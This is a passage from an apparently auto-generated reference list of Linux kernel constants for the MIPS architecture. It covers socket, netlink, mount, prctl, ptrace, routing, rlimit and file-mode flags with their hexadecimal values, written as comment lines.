-- MSG_PEEK = 0x2
-- MSG_PROXY = 0x10
-- MSG_RST = 0x1000
-- MSG_SYN = 0x400
-- MSG_TRUNC = 0x20
-- MSG_TRYHARD = 0x4
-- MSG_WAITALL = 0x100
-- MSG_WAITFORONE = 0x10000
-- MS_ACTIVE = 0x40000000
-- MS_ASYNC = 0x1
-- MS_BIND = 0x1000
-- MS_BORN = 0x20000000
-- MS_DIRSYNC = 0x80
-- MS_INVALIDATE = 0x2
-- MS_I_VERSION = 0x800000
-- MS_KERNMOUNT = 0x400000
-- MS_LAZYTIME = 0x2000000
-- MS_MANDLOCK = 0x40
-- MS_MGC_MSK = 0xffff0000
-- MS_MGC_VAL = 0xc0ed0000
-- MS_MOVE = 0x2000
-- MS_NOATIME = 0x400
-- MS_NODEV = 0x4
-- MS_NODIRATIME = 0x800
-- MS_NOEXEC = 0x8
-- MS_NOREMOTELOCK = 0x8000000
-- MS_NOSEC = 0x10000000
-- MS_NOSUID = 0x2
-- MS_NOUSER = -0x80000000
-- MS_POSIXACL = 0x10000
-- MS_PRIVATE = 0x40000
-- MS_RDONLY = 0x1
-- MS_REC = 0x4000
-- MS_RELATIME = 0x200000
-- MS_REMOUNT = 0x20
-- MS_RMT_MASK = 0x2800051
-- MS_SHARED = 0x100000
-- MS_SILENT = 0x8000
-- MS_SLAVE = 0x80000
-- MS_STRICTATIME = 0x1000000
-- MS_SYNC = 0x4
-- MS_SYNCHRONOUS = 0x10
-- MS_UNBINDABLE = 0x20000
-- MS_VERBOSE = 0x8000
-- NAME_MAX = 0xff
-- NETLINK_ADD_MEMBERSHIP = 0x1
-- NETLINK_AUDIT = 0x9
-- NETLINK_BROADCAST_ERROR = 0x4
-- NETLINK_CAP_ACK = 0xa
-- NETLINK_CONNECTOR = 0xb
-- NETLINK_CRYPTO = 0x15
-- NETLINK_DNRTMSG = 0xe
-- NETLINK_DROP_MEMBERSHIP = 0x2
-- NETLINK_ECRYPTFS = 0x13
-- NETLINK_FIB_LOOKUP = 0xa
-- NETLINK_FIREWALL = 0x3
-- NETLINK_GENERIC = 0x10
-- NETLINK_INET_DIAG = 0x4
-- NETLINK_IP6_FW = 0xd
-- NETLINK_ISCSI = 0x8
-- NETLINK_KOBJECT_UEVENT = 0xf
-- NETLINK_LISTEN_ALL_NSID = 0x8
-- NETLINK_LIST_MEMBERSHIPS = 0x9
-- NETLINK_NETFILTER = 0xc
-- NETLINK_NFLOG = 0x5
-- NETLINK_NO_ENOBUFS = 0x5
-- NETLINK_PKTINFO = 0x3
-- NETLINK_RDMA = 0x14
-- NETLINK_ROUTE = 0x0
-- NETLINK_RX_RING = 0x6
-- NETLINK_SCSITRANSPORT = 0x12
-- NETLINK_SELINUX = 0x7
-- NETLINK_SOCK_DIAG = 0x4
-- NETLINK_TX_RING = 0x7
-- NETLINK_UNUSED = 0x1
-- NETLINK_USERSOCK = 0x2
-- NETLINK_XFRM = 0x6
-- NL0 = 0x0
-- NL1 = 0x100
-- NLA_ALIGNTO = 0x4
-- NLA_F_NESTED = 0x8000
-- NLA_F_NET_BYTEORDER = 0x4000
-- NLA_HDRLEN = 0x4
-- NLDLY = 0x100
-- NLMSG_ALIGNTO = 0x4
-- NLMSG_DONE = 0x3
-- NLMSG_ERROR = 0x2
-- NLMSG_HDRLEN = 0x10
-- NLMSG_MIN_TYPE = 0x10
-- NLMSG_NOOP = 0x1
-- NLMSG_OVERRUN = 0x4
-- NLM_F_ACK = 0x4
-- NLM_F_APPEND = 0x800
-- NLM_F_ATOMIC = 0x400
-- NLM_F_CREATE = 0x400
-- NLM_F_DUMP = 0x300
-- NLM_F_DUMP_FILTERED = 0x20
-- NLM_F_DUMP_INTR = 0x10
-- NLM_F_ECHO = 0x8
-- NLM_F_EXCL = 0x200
-- NLM_F_MATCH = 0x200
-- NLM_F_MULTI = 0x2
-- NLM_F_REPLACE = 0x100
-- NLM_F_REQUEST = 0x1
-- NLM_F_ROOT = 0x100
-- NOFLSH = 0x80
-- OCRNL = 0x8
-- OFDEL = 0x80
-- OFILL = 0x40
-- OLCUC = 0x2
-- ONLCR = 0x4
-- ONLRET = 0x20
-- ONOCR = 0x10
-- OPOST = 0x1
-- O_ACCMODE = 0x3
-- O_APPEND = 0x8
-- O_ASYNC = 0x1000
-- O_CLOEXEC = 0x80000
-- O_CREAT = 0x100
-- O_DIRECT = 0x8000
-- O_DIRECTORY = 0x10000
-- O_DSYNC = 0x10
-- O_EXCL = 0x400
-- O_FSYNC = 0x4010
-- O_LARGEFILE = 0x2000
-- O_NDELAY = 0x80
-- O_NOATIME = 0x40000
-- O_NOCTTY = 0x800
-- O_NOFOLLOW = 0x20000
-- O_NONBLOCK = 0x80
-- O_PATH = 0x200000
-- O_RDONLY = 0x0
-- O_RDWR = 0x2
-- O_RSYNC = 0x4010
-- O_SYNC = 0x4010
-- O_TMPFILE = 0x410000
-- O_TRUNC = 0x200
-- O_WRONLY = 0x1
-- PACKET_ADD_MEMBERSHIP = 0x1
-- PACKET_AUXDATA = 0x8
-- PACKET_BROADCAST = 0x1
-- PACKET_COPY_THRESH = 0x7
-- PACKET_DROP_MEMBERSHIP = 0x2
-- PACKET_FANOUT = 0x12
-- PACKET_FANOUT_CBPF = 0x6
-- PACKET_FANOUT_CPU = 0x2
-- PACKET_FANOUT_DATA = 0x16
-- PACKET_FANOUT_EBPF = 0x7
-- PACKET_FANOUT_FLAG_DEFRAG = 0x8000
-- PACKET_FANOUT_FLAG_ROLLOVER = 0x1000
-- PACKET_FANOUT_HASH = 0x0
-- PACKET_FANOUT_LB = 0x1
-- PACKET_FANOUT_QM = 0x5
-- PACKET_FANOUT_RND = 0x4
-- PACKET_FANOUT_ROLLOVER = 0x3
-- PACKET_FASTROUTE = 0x6
-- PACKET_HDRLEN = 0xb
-- PACKET_HOST = 0x0
-- PACKET_KERNEL = 0x7
-- PACKET_LOOPBACK = 0x5
-- PACKET_LOSS = 0xe
-- PACKET_MR_ALLMULTI = 0x2
-- PACKET_MR_MULTICAST = 0x0
-- PACKET_MR_PROMISC = 0x1
-- PACKET_MR_UNICAST = 0x3
-- PACKET_MULTICAST = 0x2
-- PACKET_ORIGDEV = 0x9
-- PACKET_OTHERHOST = 0x3
-- PACKET_OUTGOING = 0x4
-- PACKET_QDISC_BYPASS = 0x14
-- PACKET_RECV_OUTPUT = 0x3
-- PACKET_RESERVE = 0xc
-- PACKET_ROLLOVER_STATS = 0x15
-- PACKET_RX_RING = 0x5
-- PACKET_STATISTICS = 0x6
-- PACKET_TIMESTAMP = 0x11
-- PACKET_TX_HAS_OFF = 0x13
-- PACKET_TX_RING = 0xd
-- PACKET_TX_TIMESTAMP = 0x10
-- PACKET_USER = 0x6
-- PACKET_VERSION = 0xa
-- PACKET_VNET_HDR = 0xf
-- PARENB = 0x100
-- PARITY_CRC16_PR0 = 0x2
-- PARITY_CRC16_PR0_CCITT = 0x4
-- PARITY_CRC16_PR1 = 0x3
-- PARITY_CRC16_PR1_CCITT = 0x5
-- PARITY_CRC32_PR0_CCITT = 0x6
-- PARITY_CRC32_PR1_CCITT = 0x7
-- PARITY_DEFAULT = 0x0
-- PARITY_NONE = 0x1
-- PARMRK = 0x8
-- PARODD = 0x200
-- PENDIN = 0x4000
-- PERF_EVENT_IOC_DISABLE = 0x20002401
-- PERF_EVENT_IOC_ENABLE = 0x20002400
-- PERF_EVENT_IOC_ID = 0x40042407
-- PERF_EVENT_IOC_PAUSE_OUTPUT = 0x80042409
-- PERF_EVENT_IOC_PERIOD = 0x80082404
-- PERF_EVENT_IOC_REFRESH = 0x20002402
-- PERF_EVENT_IOC_RESET = 0x20002403
-- PERF_EVENT_IOC_SET_BPF = 0x80042408
-- PERF_EVENT_IOC_SET_FILTER = 0x80042406
-- PERF_EVENT_IOC_SET_OUTPUT = 0x20002405
-- PRIO_PGRP = 0x1
-- PRIO_PROCESS = 0x0
-- PRIO_USER = 0x2
-- PROT_EXEC = 0x4
-- PROT_GROWSDOWN = 0x1000000
-- PROT_GROWSUP = 0x2000000
-- PROT_NONE = 0x0
-- PROT_READ = 0x1
-- PROT_WRITE = 0x2
-- PR_CAPBSET_DROP = 0x18
-- PR_CAPBSET_READ = 0x17
-- PR_CAP_AMBIENT = 0x2f
-- PR_CAP_AMBIENT_CLEAR_ALL = 0x4
-- PR_CAP_AMBIENT_IS_SET = 0x1
-- PR_CAP_AMBIENT_LOWER = 0x3
-- PR_CAP_AMBIENT_RAISE = 0x2
-- PR_ENDIAN_BIG = 0x0
-- PR_ENDIAN_LITTLE = 0x1
-- PR_ENDIAN_PPC_LITTLE = 0x2
-- PR_FPEMU_NOPRINT = 0x1
-- PR_FPEMU_SIGFPE = 0x2
-- PR_FP_EXC_ASYNC = 0x2
-- PR_FP_EXC_DISABLED = 0x0
-- PR_FP_EXC_DIV = 0x10000
-- PR_FP_EXC_INV = 0x100000
-- PR_FP_EXC_NONRECOV = 0x1
-- PR_FP_EXC_OVF = 0x20000
-- PR_FP_EXC_PRECISE = 0x3
-- PR_FP_EXC_RES = 0x80000
-- PR_FP_EXC_SW_ENABLE = 0x80
-- PR_FP_EXC_UND = 0x40000
-- PR_FP_MODE_FR = 0x1
-- PR_FP_MODE_FRE = 0x2
-- PR_GET_CHILD_SUBREAPER = 0x25
-- PR_GET_DUMPABLE = 0x3
-- PR_GET_ENDIAN = 0x13
-- PR_GET_FPEMU = 0x9
-- PR_GET_FPEXC = 0xb
-- PR_GET_FP_MODE = 0x2e
-- PR_GET_KEEPCAPS = 0x7
-- PR_GET_NAME = 0x10
-- PR_GET_NO_NEW_PRIVS = 0x27
-- PR_GET_PDEATHSIG = 0x2
-- PR_GET_SECCOMP = 0x15
-- PR_GET_SECUREBITS = 0x1b
-- PR_GET_THP_DISABLE = 0x2a
-- PR_GET_TID_ADDRESS = 0x28
-- PR_GET_TIMERSLACK = 0x1e
-- PR_GET_TIMING = 0xd
-- PR_GET_TSC = 0x19
-- PR_GET_UNALIGN = 0x5
-- PR_MCE_KILL = 0x21
-- PR_MCE_KILL_CLEAR = 0x0
-- PR_MCE_KILL_DEFAULT = 0x2
-- PR_MCE_KILL_EARLY = 0x1
-- PR_MCE_KILL_GET = 0x22
-- PR_MCE_KILL_LATE = 0x0
-- PR_MCE_KILL_SET = 0x1
-- PR_MPX_DISABLE_MANAGEMENT = 0x2c
-- PR_MPX_ENABLE_MANAGEMENT = 0x2b
-- PR_SET_CHILD_SUBREAPER = 0x24
-- PR_SET_DUMPABLE = 0x4
-- PR_SET_ENDIAN = 0x14
-- PR_SET_FPEMU = 0xa
-- PR_SET_FPEXC = 0xc
-- PR_SET_FP_MODE = 0x2d
-- PR_SET_KEEPCAPS = 0x8
-- PR_SET_MM = 0x23
-- PR_SET_MM_ARG_END = 0x9
-- PR_SET_MM_ARG_START = 0x8
-- PR_SET_MM_AUXV = 0xc
-- PR_SET_MM_BRK = 0x7
-- PR_SET_MM_END_CODE = 0x2
-- PR_SET_MM_END_DATA = 0x4
-- PR_SET_MM_ENV_END = 0xb
-- PR_SET_MM_ENV_START = 0xa
-- PR_SET_MM_EXE_FILE = 0xd
-- PR_SET_MM_MAP = 0xe
-- PR_SET_MM_MAP_SIZE = 0xf
-- PR_SET_MM_START_BRK = 0x6
-- PR_SET_MM_START_CODE = 0x1
-- PR_SET_MM_START_DATA = 0x3
-- PR_SET_MM_START_STACK = 0x5
-- PR_SET_NAME = 0xf
-- PR_SET_NO_NEW_PRIVS = 0x26
-- PR_SET_PDEATHSIG = 0x1
-- PR_SET_PTRACER = 0x59616d61
-- PR_SET_PTRACER_ANY = 0xffffffff
-- PR_SET_SECCOMP = 0x16
-- PR_SET_SECUREBITS = 0x1c
-- PR_SET_THP_DISABLE = 0x29
-- PR_SET_TIMERSLACK = 0x1d
-- PR_SET_TIMING = 0xe
-- PR_SET_TSC = 0x1a
-- PR_SET_UNALIGN = 0x6
-- PR_TASK_PERF_EVENTS_DISABLE = 0x1f
-- PR_TASK_PERF_EVENTS_ENABLE = 0x20
-- PR_TIMING_STATISTICAL = 0x0
-- PR_TIMING_TIMESTAMP = 0x1
-- PR_TSC_ENABLE = 0x1
-- PR_TSC_SIGSEGV = 0x2
-- PR_UNALIGN_NOPRINT = 0x1
-- PR_UNALIGN_SIGBUS = 0x2
-- PTRACE_ATTACH = 0x10
-- PTRACE_CONT = 0x7
-- PTRACE_DETACH = 0x11
-- PTRACE_EVENT_CLONE = 0x3
-- PTRACE_EVENT_EXEC = 0x4
-- PTRACE_EVENT_EXIT = 0x6
-- PTRACE_EVENT_FORK = 0x1
-- PTRACE_EVENT_SECCOMP = 0x7
-- PTRACE_EVENT_STOP = 0x80
-- PTRACE_EVENT_VFORK = 0x2
-- PTRACE_EVENT_VFORK_DONE = 0x5
-- PTRACE_GETEVENTMSG = 0x4201
-- PTRACE_GETFPREGS = 0xe
-- PTRACE_GETREGS = 0xc
-- PTRACE_GETREGSET = 0x4204
-- PTRACE_GETSIGINFO = 0x4202
-- PTRACE_GETSIGMASK = 0x420a
-- PTRACE_GET_THREAD_AREA = 0x19
-- PTRACE_GET_THREAD_AREA_3264 = 0xc4
-- PTRACE_GET_WATCH_REGS = 0xd0
-- PTRACE_INTERRUPT = 0x4207
-- PTRACE_KILL = 0x8
-- PTRACE_LISTEN = 0x4208
-- PTRACE_OLDSETOPTIONS = 0x15
-- PTRACE_O_EXITKILL = 0x100000
-- PTRACE_O_MASK = 0x3000ff
-- PTRACE_O_SUSPEND_SECCOMP = 0x200000
-- PTRACE_O_TRACECLONE = 0x8
-- PTRACE_O_TRACEEXEC = 0x10
-- PTRACE_O_TRACEEXIT = 0x40
-- PTRACE_O_TRACEFORK = 0x2
-- PTRACE_O_TRACESECCOMP = 0x80
-- PTRACE_O_TRACESYSGOOD = 0x1
-- PTRACE_O_TRACEVFORK = 0x4
-- PTRACE_O_TRACEVFORKDONE = 0x20
-- PTRACE_PEEKDATA = 0x2
-- PTRACE_PEEKDATA_3264 = 0xc1
-- PTRACE_PEEKSIGINFO = 0x4209
-- PTRACE_PEEKSIGINFO_SHARED = 0x1
-- PTRACE_PEEKTEXT = 0x1
-- PTRACE_PEEKTEXT_3264 = 0xc0
-- PTRACE_PEEKUSR = 0x3
-- PTRACE_POKEDATA = 0x5
-- PTRACE_POKEDATA_3264 = 0xc3
-- PTRACE_POKETEXT = 0x4
-- PTRACE_POKETEXT_3264 = 0xc2
-- PTRACE_POKEUSR = 0x6
-- PTRACE_SECCOMP_GET_FILTER = 0x420c
-- PTRACE_SEIZE = 0x4206
-- PTRACE_SETFPREGS = 0xf
-- PTRACE_SETOPTIONS = 0x4200
-- PTRACE_SETREGS = 0xd
-- PTRACE_SETREGSET = 0x4205
-- PTRACE_SETSIGINFO = 0x4203
-- PTRACE_SETSIGMASK = 0x420b
-- PTRACE_SET_THREAD_AREA = 0x1a
-- PTRACE_SET_WATCH_REGS = 0xd1
-- PTRACE_SINGLESTEP = 0x9
-- PTRACE_SYSCALL = 0x18
-- PTRACE_TRACEME = 0x0
-- RLIMIT_AS = 0x6
-- RLIMIT_CORE = 0x4
-- RLIMIT_CPU = 0x0
-- RLIMIT_DATA = 0x2
-- RLIMIT_FSIZE = 0x1
-- RLIMIT_LOCKS = 0xa
-- RLIMIT_MEMLOCK = 0x9
-- RLIMIT_MSGQUEUE = 0xc
-- RLIMIT_NICE = 0xd
-- RLIMIT_NOFILE = 0x5
-- RLIMIT_NPROC = 0x8
-- RLIMIT_RSS = 0x7
-- RLIMIT_RTPRIO = 0xe
-- RLIMIT_RTTIME = 0xf
-- RLIMIT_SIGPENDING = 0xb
-- RLIMIT_STACK = 0x3
-- RLIM_INFINITY = -0x1
-- RTAX_ADVMSS = 0x8
-- RTAX_CC_ALGO = 0x10
-- RTAX_CWND = 0x7
-- RTAX_FEATURES = 0xc
-- RTAX_FEATURE_ALLFRAG = 0x8
-- RTAX_FEATURE_ECN = 0x1
-- RTAX_FEATURE_MASK = 0xf
-- RTAX_FEATURE_SACK = 0x2
-- RTAX_FEATURE_TIMESTAMP = 0x4
-- RTAX_HOPLIMIT = 0xa
-- RTAX_INITCWND = 0xb
-- RTAX_INITRWND = 0xe
-- RTAX_LOCK = 0x1
-- RTAX_MAX = 0x10
-- RTAX_MTU = 0x2
-- RTAX_QUICKACK = 0xf
-- RTAX_REORDERING = 0x9
-- RTAX_RTO_MIN = 0xd
-- RTAX_RTT = 0x4
-- RTAX_RTTVAR = 0x5
-- RTAX_SSTHRESH = 0x6
-- RTAX_UNSPEC = 0x0
-- RTAX_WINDOW = 0x3
-- RTA_ALIGNTO = 0x4
-- RTA_MAX = 0x19
-- RTCF_DIRECTSRC = 0x4000000
-- RTCF_DOREDIRECT = 0x1000000
-- RTCF_LOG = 0x2000000
-- RTCF_MASQ = 0x400000
-- RTCF_NAT = 0x800000
-- RTCF_VALVE = 0x200000
-- RTF_ADDRCLASSMASK = 0xf8000000
-- RTF_ADDRCONF = 0x40000
-- RTF_ALLONLINK = 0x20000
-- RTF_BROADCAST = 0x10000000
-- RTF_CACHE = 0x1000000
-- RTF_DEFAULT = 0x10000
-- RTF_DYNAMIC = 0x10
-- RTF_FLOW = 0x2000000
-- RTF_GATEWAY = 0x2
-- RTF_HOST = 0x4
-- RTF_INTERFACE = 0x40000000
-- RTF_IRTT = 0x100
-- RTF_LINKRT = 0x100000
-- RTF_LOCAL = 0x80000000
-- RTF_MODIFIED = 0x20
-- RTF_MSS = 0x40
-- RTF_MTU = 0x40
-- RTF_MULTICAST = 0x20000000
-- RTF_NAT = 0x8000000
-- RTF_NOFORWARD = 0x1000
-- RTF_NONEXTHOP = 0x200000
-- RTF_NOPMTUDISC = 0x4000
-- RTF_POLICY = 0x4000000
-- RTF_REINSTATE = 0x8
-- RTF_REJECT = 0x200
-- RTF_STATIC = 0x400
-- RTF_THROW = 0x2000
-- RTF_UP = 0x1
-- RTF_WINDOW = 0x80
-- RTF_XRESOLVE = 0x800
-- RTM_BASE = 0x10
-- RTM_DELACTION = 0x31
-- RTM_DELADDR = 0x15
-- RTM_DELADDRLABEL = 0x49
-- RTM_DELLINK = 0x11
-- RTM_DELMDB = 0x55
-- RTM_DELNEIGH = 0x1d
-- RTM_DELNSID = 0x59
-- RTM_DELQDISC = 0x25
-- RTM_DELROUTE = 0x19
-- RTM_DELRULE = 0x21
-- RTM_DELTCLASS = 0x29
-- RTM_DELTFILTER = 0x2d
-- RTM_F_CLONED = 0x200
-- RTM_F_EQUALIZE = 0x400
-- RTM_F_LOOKUP_TABLE = 0x1000
-- RTM_F_NOTIFY = 0x100
-- RTM_F_PREFIX = 0x800
-- RTM_GETACTION = 0x32
-- RTM_GETADDR = 0x16
-- RTM_GETADDRLABEL = 0x4a
-- RTM_GETANYCAST = 0x3e
-- RTM_GETDCB = 0x4e
-- RTM_GETLINK = 0x12
-- RTM_GETMDB = 0x56
-- RTM_GETMULTICAST = 0x3a
-- RTM_GETNEIGH = 0x1e
-- RTM_GETNEIGHTBL = 0x42
-- RTM_GETNETCONF = 0x52
-- RTM_GETNSID = 0x5a
-- RTM_GETQDISC = 0x26
-- RTM_GETROUTE = 0x1a
-- RTM_GETRULE = 0x22
-- RTM_GETSTATS = 0x5e
-- RTM_GETTCLASS = 0x2a
-- RTM_GETTFILTER = 0x2e
-- RTM_MAX = 0x5f
-- RTM_NEWACTION = 0x30
-- RTM_NEWADDR = 0x14
-- RTM_NEWADDRLABEL = 0x48
-- RTM_NEWLINK = 0x10
-- RTM_NEWMDB = 0x54
-- RTM_NEWNDUSEROPT = 0x44
-- RTM_NEWNEIGH = 0x1c
-- RTM_NEWNEIGHTBL = 0x40
-- RTM_NEWNETCONF = 0x50
-- RTM_NEWNSID = 0x58
-- RTM_NEWPREFIX = 0x34
-- RTM_NEWQDISC = 0x24
-- RTM_NEWROUTE = 0x18
-- RTM_NEWRULE = 0x20
-- RTM_NEWSTATS = 0x5c
-- RTM_NEWTCLASS = 0x28
-- RTM_NEWTFILTER = 0x2c
-- RTM_NR_FAMILIES = 0x14
-- RTM_NR_MSGTYPES = 0x50
-- RTM_SETDCB = 0x4f
-- RTM_SETLINK = 0x13
-- RTM_SETNEIGHTBL = 0x43
-- RTNH_ALIGNTO = 0x4
-- RTNH_COMPARE_MASK = 0x19
-- RTNH_F_DEAD = 0x1
-- RTNH_F_LINKDOWN = 0x10
-- RTNH_F_OFFLOAD = 0x8
-- RTNH_F_ONLINK = 0x4
-- RTNH_F_PERVASIVE = 0x2
-- RTN_MAX = 0xb
-- RTPROT_BABEL = 0x2a
-- RTPROT_BIRD = 0xc
-- RTPROT_BOOT = 0x3
-- RTPROT_DHCP = 0x10
-- RTPROT_DNROUTED = 0xd
-- RTPROT_GATED = 0x8
-- RTPROT_KERNEL = 0x2
-- RTPROT_MROUTED = 0x11
-- RTPROT_MRT = 0xa
-- RTPROT_NTK = 0xf
-- RTPROT_RA = 0x9
-- RTPROT_REDIRECT = 0x1
-- RTPROT_STATIC = 0x4
-- RTPROT_UNSPEC = 0x0
-- RTPROT_XORP = 0xe
-- RTPROT_ZEBRA = 0xb
-- RT_CLASS_DEFAULT = 0xfd
-- RT_CLASS_LOCAL = 0xff
-- RT_CLASS_MAIN = 0xfe
-- RT_CLASS_MAX = 0xff
-- RT_CLASS_UNSPEC = 0x0
-- RUSAGE_CHILDREN = -0x1
-- RUSAGE_SELF = 0x0
-- RUSAGE_THREAD = 0x1
-- SCM_CREDENTIALS = 0x2
-- SCM_RIGHTS = 0x1
-- SCM_TIMESTAMP = 0x1d
-- SCM_TIMESTAMPING = 0x25
-- SCM_TIMESTAMPING_OPT_STATS = 0x36
-- SCM_TIMESTAMPNS = 0x23
-- SCM_WIFI_STATUS = 0x29
-- SECCOMP_MODE_DISABLED = 0x0
-- SECCOMP_MODE_FILTER = 0x2
-- SECCOMP_MODE_STRICT = 0x1
-- SHUT_RD = 0x0
-- SHUT_RDWR = 0x2
-- SHUT_WR = 0x1
-- SIOCADDDLCI = 0x8980
-- SIOCADDMULTI = 0x8931
-- SIOCADDRT = 0x890b
-- SIOCATMARK = 0x40047307
-- SIOCBONDCHANGEACTIVE = 0x8995
-- SIOCBONDENSLAVE = 0x8990
-- SIOCBONDINFOQUERY = 0x8994
-- SIOCBONDRELEASE = 0x8991
-- SIOCBONDSETHWADDR = 0x8992
-- SIOCBONDSLAVEINFOQUERY = 0x8993
-- SIOCBRADDBR = 0x89a0
-- SIOCBRADDIF = 0x89a2
-- SIOCBRDELBR = 0x89a1
-- SIOCBRDELIF = 0x89a3
-- SIOCDARP = 0x8953
-- SIOCDELDLCI = 0x8981
-- SIOCDELMULTI = 0x8932
-- SIOCDELRT = 0x890c
-- SIOCDEVPRIVATE = 0x89f0
-- SIOCDIFADDR = 0x8936
-- SIOCDRARP = 0x8960
-- SIOCETHTOOL = 0x8946
-- SIOCGARP = 0x8954
-- SIOCGHWTSTAMP = 0x89b1
-- SIOCGIFADDR = 0x8915
-- SIOCGIFBR = 0x8940
-- SIOCGIFBRDADDR = 0x8919
-- SIOCGIFCONF = 0x8912
-- SIOCGIFCOUNT = 0x8938
-- SIOCGIFDSTADDR = 0x8917
-- SIOCGIFENCAP = 0x8925
-- SIOCGIFFLAGS = 0x8913
-- SIOCGIFHWADDR = 0x8927
-- SIOCGIFINDEX = 0x8933
-- SIOCGIFMAP = 0x8970
-- SIOCGIFMEM = 0x891f
-- SIOCGIFMETRIC = 0x891d
-- SIOCGIFMTU = 0x8921
-- SIOCGIFNAME = 0x8910
-- SIOCGIFNETMASK = 0x891b
-- SIOCGIFPFLAGS = 0x8935
-- SIOCGIFSLAVE = 0x8929
-- SIOCGIFTXQLEN = 0x8942
-- SIOCGIFVLAN = 0x8982
-- SIOCGMIIPHY = 0x8947
-- SIOCGMIIREG = 0x8948
-- SIOCGPGRP = 0x40047309
-- SIOCGRARP = 0x8961
-- SIOCGSKNS = 0x894c
-- SIOCGSTAMP = 0x8906
-- SIOCGSTAMPNS = 0x8907
-- SIOCINQ = 0x467f
-- SIOCOUTQ = 0x7472
-- SIOCOUTQNSD = 0x894b
-- SIOCPROTOPRIVATE = 0x89e0
-- SIOCRTMSG = 0x890d
-- SIOCSARP = 0x8955
-- SIOCSHWTSTAMP = 0x89b0
-- SIOCSIFADDR = 0x8916
-- SIOCSIFBR = 0x8941
-- SIOCSIFBRDADDR = 0x891a
-- SIOCSIFDSTADDR = 0x8918
-- SIOCSIFENCAP = 0x8926
-- SIOCSIFFLAGS = 0x8914
-- SIOCSIFHWADDR = 0x8924
-- SIOCSIFHWBROADCAST = 0x8937
-- SIOCSIFLINK = 0x8911
-- SIOCSIFMAP = 0x8971
-- SIOCSIFMEM = 0x8920
-- SIOCSIFMETRIC = 0x891e
-- SIOCSIFMTU = 0x8922
-- SIOCSIFNAME = 0x8923
-- SIOCSIFNETMASK = 0x891c
-- SIOCSIFPFLAGS = 0x8934
-- SIOCSIFSLAVE = 0x8930
-- SIOCSIFTXQLEN = 0x8943
-- SIOCSIFVLAN = 0x8983
-- SIOCSMIIREG = 0x8949
-- SIOCSPGRP = 0x80047308
-- SIOCSRARP = 0x8962
-- SIOCWANDEV = 0x894a
-- SOCK_CLOEXEC = 0x80000
-- SOCK_DCCP = 0x6
-- SOCK_DGRAM = 0x1
-- SOCK_IOC_TYPE = 0x89
-- SOCK_NONBLOCK = 0x80
-- SOCK_PACKET = 0xa
-- SOCK_RAW = 0x3
-- SOCK_RDM = 0x4
-- SOCK_SEQPACKET = 0x5
-- SOCK_STREAM = 0x2
-- SOL_AAL = 0x109
-- SOL_ALG = 0x117
-- SOL_ATM = 0x108
-- SOL_CAIF = 0x116
-- SOL_CAN_BASE = 0x64
-- SOL_DCCP = 0x10d
-- SOL_DECNET = 0x105
-- SOL_ICMPV6 = 0x3a
-- SOL_IP = 0x0
-- SOL_IPV6 = 0x29
-- SOL_IRDA = 0x10a
-- SOL_IUCV = 0x115
-- SOL_KCM = 0x119
-- SOL_LLC = 0x10c
-- SOL_NETBEUI = 0x10b
-- SOL_NETLINK = 0x10e
-- SOL_NFC = 0x118
-- SOL_PACKET = 0x107
-- SOL_PNPIPE = 0x113
-- SOL_PPPOL2TP = 0x111
-- SOL_RAW = 0xff
-- SOL_RDS = 0x114
-- SOL_RXRPC = 0x110
-- SOL_SOCKET = 0xffff
-- SOL_TCP = 0x6
-- SOL_TIPC = 0x10f
-- SOL_X25 = 0x106
-- SOMAXCONN = 0x80
-- SO_ACCEPTCONN = 0x1009
-- SO_ATTACH_BPF = 0x32
-- SO_ATTACH_FILTER = 0x1a
-- SO_ATTACH_REUSEPORT_CBPF = 0x33
-- SO_ATTACH_REUSEPORT_EBPF = 0x34
-- SO_BINDTODEVICE = 0x19
-- SO_BPF_EXTENSIONS = 0x30
-- SO_BROADCAST = 0x20
-- SO_BSDCOMPAT = 0xe
-- SO_BUSY_POLL = 0x2e
-- SO_CNX_ADVICE = 0x35
-- SO_DEBUG = 0x1
-- SO_DETACH_BPF = 0x1b
-- SO_DETACH_FILTER = 0x1b
-- SO_DOMAIN = 0x1029
-- SO_DONTROUTE = 0x10
-- SO_ERROR = 0x1007
-- SO_GET_FILTER = 0x1a
-- SO_INCOMING_CPU = 0x31
-- SO_KEEPALIVE = 0x8
-- SO_LINGER = 0x80
-- SO_LOCK_FILTER = 0x2c
-- SO_MARK = 0x24
-- SO_MAX_PACING_RATE = 0x2f
-- SO_NOFCS = 0x2b
-- SO_NO_CHECK = 0xb
-- SO_OOBINLINE = 0x100
-- SO_PASSCRED = 0x11
-- SO_PASSSEC = 0x22
-- SO_PEEK_OFF = 0x2a
-- SO_PEERCRED = 0x12
-- SO_PEERNAME = 0x1c
-- SO_PEERSEC = 0x1e
-- SO_PRIORITY = 0xc
-- SO_PROTOCOL = 0x1028
-- SO_RCVBUF = 0x1002
-- SO_RCVBUFFORCE = 0x21
-- SO_RCVLOWAT = 0x1004
-- SO_RCVTIMEO = 0x1006
-- SO_REUSEADDR = 0x4
-- SO_REUSEPORT = 0x200
-- SO_RXQ_OVFL = 0x28
-- SO_SECURITY_AUTHENTICATION = 0x16
-- SO_SECURITY_ENCRYPTION_NETWORK = 0x18
-- SO_SECURITY_ENCRYPTION_TRANSPORT = 0x17
-- SO_SELECT_ERR_QUEUE = 0x2d
-- SO_SNDBUF = 0x1001
-- SO_SNDBUFFORCE = 0x1f
-- SO_SNDLOWAT = 0x1003
-- SO_SNDTIMEO = 0x1005
-- SO_STYLE = 0x1008
-- SO_TIMESTAMP = 0x1d
-- SO_TIMESTAMPING = 0x25
-- SO_TIMESTAMPNS = 0x23
-- SO_TYPE = 0x1008
-- SO_VM_SOCKETS_BUFFER_MAX_SIZE = 0x2
-- SO_VM_SOCKETS_BUFFER_MIN_SIZE = 0x1
-- SO_VM_SOCKETS_BUFFER_SIZE = 0x0
-- SO_VM_SOCKETS_CONNECT_TIMEOUT = 0x6
-- SO_VM_SOCKETS_NONBLOCK_TXRX = 0x7
-- SO_VM_SOCKETS_PEER_HOST_VM_ID = 0x3
-- SO_VM_SOCKETS_TRUSTED = 0x5
-- SO_WIFI_STATUS = 0x29
-- SPLICE_F_GIFT = 0x8
-- SPLICE_F_MORE = 0x4
-- SPLICE_F_MOVE = 0x1
-- SPLICE_F_NONBLOCK = 0x2
-- S_BLKSIZE = 0x200
-- S_IEXEC = 0x40
-- S_IFBLK = 0x6000
-- S_IFCHR = 0x2000
-- S_IFDIR = 0x4000
-- S_IFIFO = 0x1000
-- S_IFLNK = 0xa000
-- S_IFMT = 0xf000
-- S_IFREG = 0x8000
-- S_IFSOCK = 0xc000
-- S_IREAD = 0x100
-- S_IRGRP = 0x20
-- S_IROTH = 0x4
-- S_IRUSR = 0x100
